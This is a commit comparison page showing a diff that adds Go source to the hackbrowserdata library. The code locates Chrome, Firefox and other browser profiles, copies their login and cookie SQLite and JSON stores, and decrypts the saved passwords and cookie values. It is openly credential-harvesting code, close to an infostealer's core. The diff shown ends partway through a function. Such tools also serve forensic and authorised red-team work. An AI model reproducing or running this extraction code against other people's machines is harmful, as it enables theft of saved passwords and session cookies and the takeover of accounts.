Compare commits
	
		
			5 Commits 
		
	
	
		
			master
			...
			feat/libra
		
	
	| Author | SHA1 | Date | 
|---|---|---|
|  | 24c90f5b92 | 2 years ago | 
|  | 0d6642ead9 | 2 years ago | 
|  | 48d38ef39c | 2 years ago | 
|  | d87ef03ae0 | 2 years ago | 
|  | aa2e1af5b5 | 2 years ago | 
| @ -0,0 +1,58 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"github.com/moond4rk/hackbrowserdata/browserdata" | ||||
| ) | ||||
| 
 | ||||
| type Browser interface { | ||||
| 	Passwords() ([]browserdata.Password, error) | ||||
| 
 | ||||
| 	Cookies() ([]browserdata.Cookie, error) | ||||
| 
 | ||||
| 	ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error) | ||||
| } | ||||
| 
 | ||||
| func NewBrowser(b browser, options ...BrowserOption) (Browser, error) { | ||||
| 	opt, ok := defaultBrowserOptions[b] | ||||
| 	if !ok { | ||||
| 		return nil, ErrBrowserNotSupport | ||||
| 	} | ||||
| 
 | ||||
| 	for _, options := range options { | ||||
| 		options(opt) | ||||
| 	} | ||||
| 
 | ||||
| 	if opt.NewBrowserFunc == nil { | ||||
| 		return nil, ErrBrowserNotSupport | ||||
| 	} | ||||
| 	return opt.NewBrowserFunc(opt) | ||||
| } | ||||
| 
 | ||||
| type browser string | ||||
| 
 | ||||
| const ( | ||||
| 	Chrome   browser = "chrome" | ||||
| 	Firefox  browser = "firefox" | ||||
| 	Yandex   browser = "yandex" | ||||
| 	Edge     browser = "edge" | ||||
| 	Chromium browser = "chromium" | ||||
| ) | ||||
| 
 | ||||
| type browserType int | ||||
| 
 | ||||
| const ( | ||||
| 	browserTypeChromium browserType = iota + 1 | ||||
| 	browserTypeFirefox | ||||
| 	browserTypeYandex | ||||
| ) | ||||
| 
 | ||||
| func (b browser) Type() browserType { | ||||
| 	switch b { | ||||
| 	case Firefox: | ||||
| 		return browserTypeFirefox | ||||
| 	case Yandex: | ||||
| 		return browserTypeYandex | ||||
| 	default: | ||||
| 		return browserTypeChromium | ||||
| 	} | ||||
| } | ||||
| @ -0,0 +1,50 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"os" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeStorageName     = "Chrome" | ||||
| 	chromeBetaStorageName = "Chrome" | ||||
| 	chromiumStorageName   = "Chromium" | ||||
| 	edgeStorageName       = "Microsoft Edge" | ||||
| 	braveStorageName      = "Brave" | ||||
| 	operaStorageName      = "Opera" | ||||
| 	vivaldiStorageName    = "Vivaldi" | ||||
| 	coccocStorageName     = "CocCoc" | ||||
| 	yandexStorageName     = "Yandex" | ||||
| 	arcStorageName        = "Arc" | ||||
| ) | ||||
| 
 | ||||
| var homeDir, _ = os.UserHomeDir() | ||||
| 
 | ||||
| var ( | ||||
| 	chromeProfilePath     = homeDir + "/Library/Application Support/Google/Chrome/Default/" | ||||
| 	chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/Default/" | ||||
| 	chromiumProfilePath   = homeDir + "/Library/Application Support/Chromium/Default/" | ||||
| 	edgeProfilePath       = homeDir + "/Library/Application Support/Microsoft Edge/Default/" | ||||
| 	braveProfilePath      = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/Default/" | ||||
| 	operaProfilePath      = homeDir + "/Library/Application Support/com.operasoftware.Opera/Default/" | ||||
| 	operaGXProfilePath    = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/Default/" | ||||
| 	vivaldiProfilePath    = homeDir + "/Library/Application Support/Vivaldi/Default/" | ||||
| 	coccocProfilePath     = homeDir + "/Library/Application Support/Coccoc/Default/" | ||||
| 	yandexProfilePath     = homeDir + "/Library/Application Support/Yandex/YandexBrowser/Default/" | ||||
| 	arcProfilePath        = homeDir + "/Library/Application Support/Arc/User Data/Default" | ||||
| 
 | ||||
| 	firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/" | ||||
| ) | ||||
| 
 | ||||
| var defaultBrowserOptions = map[browser]*Options{ | ||||
| 	Chrome: { | ||||
| 		Name:           Chrome, | ||||
| 		Storage:        chromeStorageName, | ||||
| 		ProfilePath:    chromeProfilePath, | ||||
| 		NewBrowserFunc: NewChromium, | ||||
| 	}, | ||||
| 	Firefox: { | ||||
| 		Name:           Firefox, | ||||
| 		ProfilePath:    firefoxProfilePath, | ||||
| 		NewBrowserFunc: NewFirefox, | ||||
| 	}, | ||||
| } | ||||
| @ -0,0 +1 @@ | ||||
| package hackbrowserdata | ||||
| @ -0,0 +1 @@ | ||||
| package hackbrowserdata | ||||
| @ -0,0 +1,13 @@ | ||||
| package browserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"time" | ||||
| ) | ||||
| 
 | ||||
| type Bookmark struct { | ||||
| 	ID        int64 | ||||
| 	Name      string | ||||
| 	Type      string | ||||
| 	URL       string | ||||
| 	DateAdded time.Time | ||||
| } | ||||
| @ -0,0 +1,51 @@ | ||||
| package browserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 
 | ||||
| 	_ "github.com/mattn/go-sqlite3" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| ) | ||||
| 
 | ||||
| type Extractor interface { | ||||
| 	Extract() (interface{}, error) | ||||
| } | ||||
| 
 | ||||
| type RowsHandler func([]byte, interface{}) (interface{}, error) | ||||
| 
 | ||||
| type ExtractorHandler func([]byte, string, string, RowsHandler) (interface{}, error) | ||||
| 
 | ||||
| func DefaultDBHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) { | ||||
| 	tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath)) | ||||
| 	if err := fileutil.CopyFile(dbpath, tempFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempFile) | ||||
| 	db, err := sql.Open("sqlite3", tempFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer db.Close() | ||||
| 	rows, err := db.Query(dbQuery) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 	return rowsHandler(masterKey, rows) | ||||
| } | ||||
| 
 | ||||
| func DefaultJSONHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) { | ||||
| 	tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath)) | ||||
| 	if err := fileutil.CopyFile(dbpath, tempFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempFile) | ||||
| 	s, err := os.ReadFile(tempFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return rowsHandler(masterKey, s) | ||||
| } | ||||
| @ -0,0 +1,131 @@ | ||||
| package browserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 	"sort" | ||||
| 	"time" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/crypto" | ||||
| 	"github.com/moond4rk/hackbrowserdata/log" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/typeutil" | ||||
| ) | ||||
| 
 | ||||
| type CookieExtractor struct { | ||||
| 	Data      []Cookie | ||||
| 	masterKey []byte | ||||
| 	datafile  string | ||||
| } | ||||
| 
 | ||||
| func NewCookieExtractor(masterKey []byte, datafile string) *CookieExtractor { | ||||
| 	return &CookieExtractor{masterKey: masterKey, datafile: datafile} | ||||
| } | ||||
| 
 | ||||
| type Cookie struct { | ||||
| 	Host         string | ||||
| 	Path         string | ||||
| 	KeyName      string | ||||
| 	encryptValue []byte | ||||
| 	Value        string | ||||
| 	IsSecure     bool | ||||
| 	IsHTTPOnly   bool | ||||
| 	HasExpire    bool | ||||
| 	IsPersistent bool | ||||
| 	CreateDate   time.Time | ||||
| 	ExpireDate   time.Time | ||||
| } | ||||
| 
 | ||||
| func ExportCookie(masterKey []byte, passwordPath string) ([]Cookie, error) { | ||||
| 	tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) | ||||
| 	if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempPassFile) | ||||
| 	cookies, err := exportCookies(masterKey, "", tempPassFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return cookies, err | ||||
| } | ||||
| 
 | ||||
| func exportCookies(masterKey []byte, profile, dbFile string) ([]Cookie, error) { | ||||
| 	data, err := exportData(masterKey, profile, dbFile, handlerCookie) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	cookies := make([]Cookie, 0, len(data)) | ||||
| 	for _, v := range data { | ||||
| 		cookies = append(cookies, v.(Cookie)) | ||||
| 	} | ||||
| 	sort.Slice(cookies, func(i, j int) bool { | ||||
| 		return (cookies)[i].CreateDate.After((cookies)[j].CreateDate) | ||||
| 	}) | ||||
| 	return cookies, nil | ||||
| } | ||||
| 
 | ||||
| type rowHandlerFunc func(masterKey []byte, rows *sql.Rows) (interface{}, error) | ||||
| 
 | ||||
| func handlerCookie(masterKey []byte, rows *sql.Rows) (interface{}, error) { | ||||
| 	var ( | ||||
| 		err                                           error | ||||
| 		key, host, path                               string | ||||
| 		isSecure, isHTTPOnly, hasExpire, isPersistent int | ||||
| 		createDate, expireDate                        int64 | ||||
| 		value, encryptValue                           []byte | ||||
| 	) | ||||
| 	if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil { | ||||
| 		log.Warn(err) | ||||
| 	} | ||||
| 
 | ||||
| 	cookie := Cookie{ | ||||
| 		KeyName:      key, | ||||
| 		Host:         host, | ||||
| 		Path:         path, | ||||
| 		encryptValue: encryptValue, | ||||
| 		IsSecure:     typeutil.IntToBool(isSecure), | ||||
| 		IsHTTPOnly:   typeutil.IntToBool(isHTTPOnly), | ||||
| 		HasExpire:    typeutil.IntToBool(hasExpire), | ||||
| 		IsPersistent: typeutil.IntToBool(isPersistent), | ||||
| 		CreateDate:   typeutil.TimeEpoch(createDate), | ||||
| 		ExpireDate:   typeutil.TimeEpoch(expireDate), | ||||
| 	} | ||||
| 	if len(encryptValue) > 0 { | ||||
| 		if len(masterKey) == 0 { | ||||
| 			value, err = crypto.DPAPI(encryptValue) | ||||
| 		} else { | ||||
| 			value, err = crypto.DecryptPass(masterKey, encryptValue) | ||||
| 		} | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	} | ||||
| 	cookie.Value = string(value) | ||||
| 	return cookie, nil | ||||
| } | ||||
| 
 | ||||
| func exportData(masterKey []byte, passFile string, query string, rowHandler rowHandlerFunc) ([]interface{}, error) { | ||||
| 	db, err := sql.Open("sqlite3", passFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer db.Close() | ||||
| 
 | ||||
| 	rows, err := db.Query(query) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 
 | ||||
| 	var data []interface{} | ||||
| 	for rows.Next() { | ||||
| 		item, err := rowHandler(masterKey, rows) | ||||
| 		if err != nil { | ||||
| 			log.Warn(err) | ||||
| 			continue | ||||
| 		} | ||||
| 		data = append(data, item) | ||||
| 	} | ||||
| 	return data, nil | ||||
| } | ||||
| @ -0,0 +1,306 @@ | ||||
| package browserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"encoding/base64" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 	"time" | ||||
| 
 | ||||
| 	// import go-sqlite3 driver
 | ||||
| 	_ "github.com/mattn/go-sqlite3" | ||||
| 	"github.com/tidwall/gjson" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/crypto" | ||||
| 	"github.com/moond4rk/hackbrowserdata/log" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/typeutil" | ||||
| ) | ||||
| 
 | ||||
| type PasswordExtractor struct { | ||||
| 	masterKey        []byte | ||||
| 	datafiles        []string | ||||
| 	extractorHandler ExtractorHandler | ||||
| 	rowsHandler      RowsHandler | ||||
| } | ||||
| 
 | ||||
| type Password struct { | ||||
| 	Profile     string | ||||
| 	Username    string | ||||
| 	Password    string | ||||
| 	encryptPass []byte | ||||
| 	encryptUser []byte | ||||
| 	LoginURL    string | ||||
| 	CreateDate  time.Time | ||||
| } | ||||
| 
 | ||||
| func NewPassExtractor(masterKey []byte, datafiles []string, fileHandler ExtractorHandler, rowsHandler RowsHandler) *PasswordExtractor { | ||||
| 	return &PasswordExtractor{ | ||||
| 		masterKey:        masterKey, | ||||
| 		datafiles:        datafiles, | ||||
| 		extractorHandler: fileHandler, | ||||
| 		rowsHandler:      rowsHandler, | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (d *PasswordExtractor) Extract() (interface{}, error) { | ||||
| 	var passwords []Password | ||||
| 	var err error | ||||
| 	for _, datafile := range d.datafiles { | ||||
| 		data, err := d.extractorHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler) | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 			continue | ||||
| 		} | ||||
| 		passwords = append(passwords, data.([]Password)...) | ||||
| 	} | ||||
| 	return passwords, err | ||||
| } | ||||
| 
 | ||||
| func ChromiumPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) { | ||||
| 	sqlRows := rows.(*sql.Rows) | ||||
| 	var passwords []Password | ||||
| 	for sqlRows.Next() { | ||||
| 		var ( | ||||
| 			url, username         string | ||||
| 			encryptPass, password []byte | ||||
| 			create                int64 | ||||
| 			err                   error | ||||
| 		) | ||||
| 		if err := sqlRows.Scan(&url, &username, &encryptPass, &create); err != nil { | ||||
| 			log.Warn(err) | ||||
| 			continue | ||||
| 		} | ||||
| 		pass := Password{ | ||||
| 			// Profile:     filepath.Base(profile),
 | ||||
| 			Username:    username, | ||||
| 			encryptPass: encryptPass, | ||||
| 			LoginURL:    url, | ||||
| 		} | ||||
| 		if len(encryptPass) > 0 { | ||||
| 			if len(masterKey) == 0 { | ||||
| 				password, err = crypto.DPAPI(encryptPass) | ||||
| 			} else { | ||||
| 				password, err = crypto.DecryptPass(masterKey, encryptPass) | ||||
| 			} | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		} | ||||
| 		if create > time.Now().Unix() { | ||||
| 			pass.CreateDate = typeutil.TimeEpoch(create) | ||||
| 		} else { | ||||
| 			pass.CreateDate = typeutil.TimeStamp(create) | ||||
| 		} | ||||
| 		pass.Password = string(password) | ||||
| 		passwords = append(passwords, pass) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| 
 | ||||
| func FirefoxPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) { | ||||
| 	var passwords []Password | ||||
| 
 | ||||
| 	jsonBytes := rows.([]byte) | ||||
| 	jsonRows := gjson.GetBytes(jsonBytes, "logins").Array() | ||||
| 
 | ||||
| 	if len(jsonRows) == 0 { | ||||
| 		return nil, nil | ||||
| 	} | ||||
| 
 | ||||
| 	for _, v := range jsonRows { | ||||
| 		var ( | ||||
| 			p           Password | ||||
| 			encryptUser []byte | ||||
| 			encryptPass []byte | ||||
| 			err         error | ||||
| 		) | ||||
| 		p.LoginURL = v.Get("formSubmitURL").String() | ||||
| 		encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		p.encryptUser = encryptUser | ||||
| 		p.encryptPass = encryptPass | ||||
| 		// TODO: handle error
 | ||||
| 		userPBE, err := crypto.NewASN1PBE(p.encryptUser) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		pwdPBE, err := crypto.NewASN1PBE(p.encryptPass) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		username, err := userPBE.Decrypt(masterKey) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		password, err := pwdPBE.Decrypt(masterKey) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		p.Password = string(password) | ||||
| 		p.Username = string(username) | ||||
| 		p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000) | ||||
| 		passwords = append(passwords, p) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| 
 | ||||
| func (d *PasswordExtractor) ExtractChromium() (interface{}, error) { | ||||
| 	var passwords []Password | ||||
| 	var err error | ||||
| 	for _, datafile := range d.datafiles { | ||||
| 		data, err := DefaultDBHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler) | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 			continue | ||||
| 		} | ||||
| 		passwords = append(passwords, data.([]Password)...) | ||||
| 	} | ||||
| 	return passwords, err | ||||
| } | ||||
| 
 | ||||
| func (d *PasswordExtractor) ExtractFirefox() (interface{}, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| 
 | ||||
| func Export(masterKey []byte, passwordPath string) ([]Password, error) { | ||||
| 	tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) | ||||
| 	if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempPassFile) | ||||
| 	passwords, err := exportPasswords(masterKey, "", tempPassFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return passwords, err | ||||
| } | ||||
| 
 | ||||
| const ( | ||||
| 	queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` | ||||
| ) | ||||
| 
 | ||||
| func exportPasswords(masterKey []byte, profile, passFile string) ([]Password, error) { | ||||
| 	db, err := sql.Open("sqlite3", passFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer db.Close() | ||||
| 	rows, err := db.Query(queryChromiumLogin) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	var passwords []Password | ||||
| 	for rows.Next() { | ||||
| 		var ( | ||||
| 			url, username         string | ||||
| 			encryptPass, password []byte | ||||
| 			create                int64 | ||||
| 		) | ||||
| 		if err := rows.Scan(&url, &username, &encryptPass, &create); err != nil { | ||||
| 			log.Warn(err) | ||||
| 		} | ||||
| 		pass := Password{ | ||||
| 			Profile:     filepath.Base(profile), | ||||
| 			Username:    username, | ||||
| 			encryptPass: encryptPass, | ||||
| 			LoginURL:    url, | ||||
| 		} | ||||
| 		if len(encryptPass) > 0 { | ||||
| 			if len(masterKey) == 0 { | ||||
| 				password, err = crypto.DPAPI(encryptPass) | ||||
| 			} else { | ||||
| 				password, err = crypto.DecryptPass(masterKey, encryptPass) | ||||
| 			} | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		} | ||||
| 		if create > time.Now().Unix() { | ||||
| 			pass.CreateDate = typeutil.TimeEpoch(create) | ||||
| 		} else { | ||||
| 			pass.CreateDate = typeutil.TimeStamp(create) | ||||
| 		} | ||||
| 		pass.Password = string(password) | ||||
| 		passwords = append(passwords, pass) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| 
 | ||||
| const ( | ||||
| 	queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` | ||||
| ) | ||||
| 
 | ||||
| func ExportPasswords(masterKey []byte, passwordPath string) ([]Password, error) { | ||||
| 	tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) | ||||
| 	if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempPassFile) | ||||
| 	passwords, err := exportFirefoxPasswords(masterKey, "", tempPassFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return passwords, err | ||||
| } | ||||
| 
 | ||||
| func exportFirefoxPasswords(masterKey []byte, profile, passFile string) ([]Password, error) { | ||||
| 	s, err := os.ReadFile(passFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(passFile) | ||||
| 	loginsJSON := gjson.GetBytes(s, "logins") | ||||
| 	var passwords []Password | ||||
| 	if !loginsJSON.Exists() { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 
 | ||||
| 	for _, v := range loginsJSON.Array() { | ||||
| 		var ( | ||||
| 			p           Password | ||||
| 			encryptUser []byte | ||||
| 			encryptPass []byte | ||||
| 		) | ||||
| 		p.LoginURL = v.Get("formSubmitURL").String() | ||||
| 		encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		p.encryptUser = encryptUser | ||||
| 		p.encryptPass = encryptPass | ||||
| 		// TODO: handle error
 | ||||
| 		userPBE, err := crypto.NewASN1PBE(p.encryptUser) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		pwdPBE, err := crypto.NewASN1PBE(p.encryptPass) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		username, err := userPBE.Decrypt(masterKey) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		password, err := pwdPBE.Decrypt(masterKey) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		p.Password = string(password) | ||||
| 		p.Username = string(username) | ||||
| 		p.Profile = profile | ||||
| 		p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000) | ||||
| 		passwords = append(passwords, p) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| @ -0,0 +1,204 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"errors" | ||||
| 	"fmt" | ||||
| 	"io/fs" | ||||
| 	"path/filepath" | ||||
| 	"strings" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/browserdata" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| ) | ||||
| 
 | ||||
| type chromium struct { | ||||
| 	name           browser | ||||
| 	storage        string | ||||
| 	profilePath    string | ||||
| 	enableAllUsers bool | ||||
| 	profilePaths   []string | ||||
| 	masterKey      []byte | ||||
| 	// defaultDataTypes
 | ||||
| 	supportedDataTypes []DataType | ||||
| 	extractors         map[DataType]browserdata.Extractor | ||||
| 	extractedData      map[DataType]interface{} | ||||
| } | ||||
| 
 | ||||
| func NewChromium(options *Options) (Browser, error) { | ||||
| 	if options.ProfilePath == "" { | ||||
| 		return nil, errors.New("profile path is required") | ||||
| 	} | ||||
| 	if options.Name == "" { | ||||
| 		return nil, errors.New("browser name is required") | ||||
| 	} | ||||
| 	c := &chromium{ | ||||
| 		name:               options.Name, | ||||
| 		profilePath:        options.ProfilePath, | ||||
| 		enableAllUsers:     true, | ||||
| 		supportedDataTypes: defaultDataTypes, | ||||
| 		extractors:         make(map[DataType]browserdata.Extractor), | ||||
| 		extractedData:      make(map[DataType]interface{}), | ||||
| 	} | ||||
| 	if !options.IsEnableAllUser { | ||||
| 		c.enableAllUsers = false | ||||
| 	} | ||||
| 	if len(options.DataTypes) > 0 { | ||||
| 		c.supportedDataTypes = options.DataTypes | ||||
| 	} | ||||
| 	if err := c.init(); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return c, nil | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) init() error { | ||||
| 	if err := c.initProfiles(); err != nil { | ||||
| 		return fmt.Errorf("profile path '%s' does not exist %w", c.profilePath, ErrBrowserNotExists) | ||||
| 	} | ||||
| 	if err := c.initExtractors(); err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	return c.initMasterKey() | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error) { | ||||
| 	for _, dataType := range dataTypes { | ||||
| 		if extractor, ok := c.extractors[dataType]; ok { | ||||
| 			data, err := extractor.Extract() | ||||
| 			if err != nil { | ||||
| 				fmt.Printf("extract %s data failed: %v", dataType, err) | ||||
| 				continue | ||||
| 			} | ||||
| 			c.extractedData[dataType] = data | ||||
| 		} | ||||
| 	} | ||||
| 	return c.extractedData, nil | ||||
| } | ||||
| 
 | ||||
| // func (c *chromium) Passwords() ([]password.Password, error) {
 | ||||
| // 	// browserData, err := c.ExtractBrowserData([]DataType{TypePassword})
 | ||||
| // 	// if err != nil {
 | ||||
| // 	// 	return nil, err
 | ||||
| // 	// }
 | ||||
| // 	dataType := TypePassword
 | ||||
| // 	if data, ok := c.extractedData[dataType]; ok {
 | ||||
| // 		return data.([]password.Password), nil
 | ||||
| // 	}
 | ||||
| // 	extractor, ok := c.extractors[dataType]
 | ||||
| // 	if !ok {
 | ||||
| // 		return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
 | ||||
| // 	}
 | ||||
| // 	data, err := extractor.ExtractChromium()
 | ||||
| // 	if err != nil {
 | ||||
| // 		return nil, err
 | ||||
| // 	}
 | ||||
| // 	return data.([]password.Password), nil
 | ||||
| // }
 | ||||
| 
 | ||||
| func (c *chromium) filterExistDataPaths(dataTypes []DataType) (map[DataType][]string, error) { | ||||
| 	// exporters := make(map[DataType]BrowserData)
 | ||||
| 	dataPaths := make(map[DataType][]string) | ||||
| 	var errs []error | ||||
| 	for _, profile := range c.profilePaths { | ||||
| 		for _, dataType := range dataTypes { | ||||
| 			dataTypeFile := filepath.Join(profile, dataType.Filename(c.name)) | ||||
| 			if !fileutil.IsFileExists(dataTypeFile) { | ||||
| 				errs = append(errs, ErrBrowsingDataNotExists) | ||||
| 			} | ||||
| 			dataPaths[dataType] = append(dataPaths[dataType], dataTypeFile) | ||||
| 		} | ||||
| 	} | ||||
| 	return dataPaths, nil | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) Passwords() ([]browserdata.Password, error) { | ||||
| 	dataType := TypePassword | ||||
| 	if data, ok := c.extractedData[dataType]; ok { | ||||
| 		return data.([]browserdata.Password), nil | ||||
| 	} | ||||
| 	extractor, ok := c.extractors[dataType] | ||||
| 	if !ok { | ||||
| 		return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name) | ||||
| 	} | ||||
| 	data, err := extractor.Extract() | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return data.([]browserdata.Password), nil | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) Cookies() ([]browserdata.Cookie, error) { | ||||
| 	dataType := TypeCookie | ||||
| 	if data, ok := c.extractedData[dataType]; ok { | ||||
| 		return data.([]browserdata.Cookie), nil | ||||
| 	} | ||||
| 	extractor, ok := c.extractors[dataType] | ||||
| 	if !ok { | ||||
| 		return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name) | ||||
| 	} | ||||
| 	data, err := extractor.Extract() | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return data.([]browserdata.Cookie), nil | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) initExtractors() error { | ||||
| 	dataPaths, err := c.filterExistDataPaths(c.supportedDataTypes) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	for _, dataType := range c.supportedDataTypes { | ||||
| 		if _, ok := dataPaths[dataType]; !ok { | ||||
| 			continue | ||||
| 		} | ||||
| 		c.extractors[dataType] = dataType.NewExtractor(c.name.Type(), c.masterKey, dataPaths[dataType]) | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) initProfiles() error { | ||||
| 	if !fileutil.IsDirExists(c.profilePath) { | ||||
| 		return ErrBrowserNotExists | ||||
| 	} | ||||
| 	if c.enableAllUsers { | ||||
| 		profilesPaths, err := c.findAllProfiles() | ||||
| 		if err != nil { | ||||
| 			return err | ||||
| 		} | ||||
| 		c.profilePaths = profilesPaths | ||||
| 	} else { | ||||
| 		c.profilePaths = []string{c.profilePath} | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| // TODO: mix it as firefox's find All Profiles
 | ||||
| func (c *chromium) findAllProfiles() ([]string, error) { | ||||
| 	var profiles []string | ||||
| 	root := fileutil.ParentDir(c.profilePath) | ||||
| 	err := filepath.Walk(root, func(path string, info fs.FileInfo, err error) error { | ||||
| 		if err != nil { | ||||
| 			return err | ||||
| 		} | ||||
| 		// if the path ends with "History", add it to the list
 | ||||
| 		if strings.HasSuffix(path, TypeHistory.Filename(c.name)) { | ||||
| 			// skip the "System Profile" directory
 | ||||
| 			if !strings.Contains(path, "System Profile") { | ||||
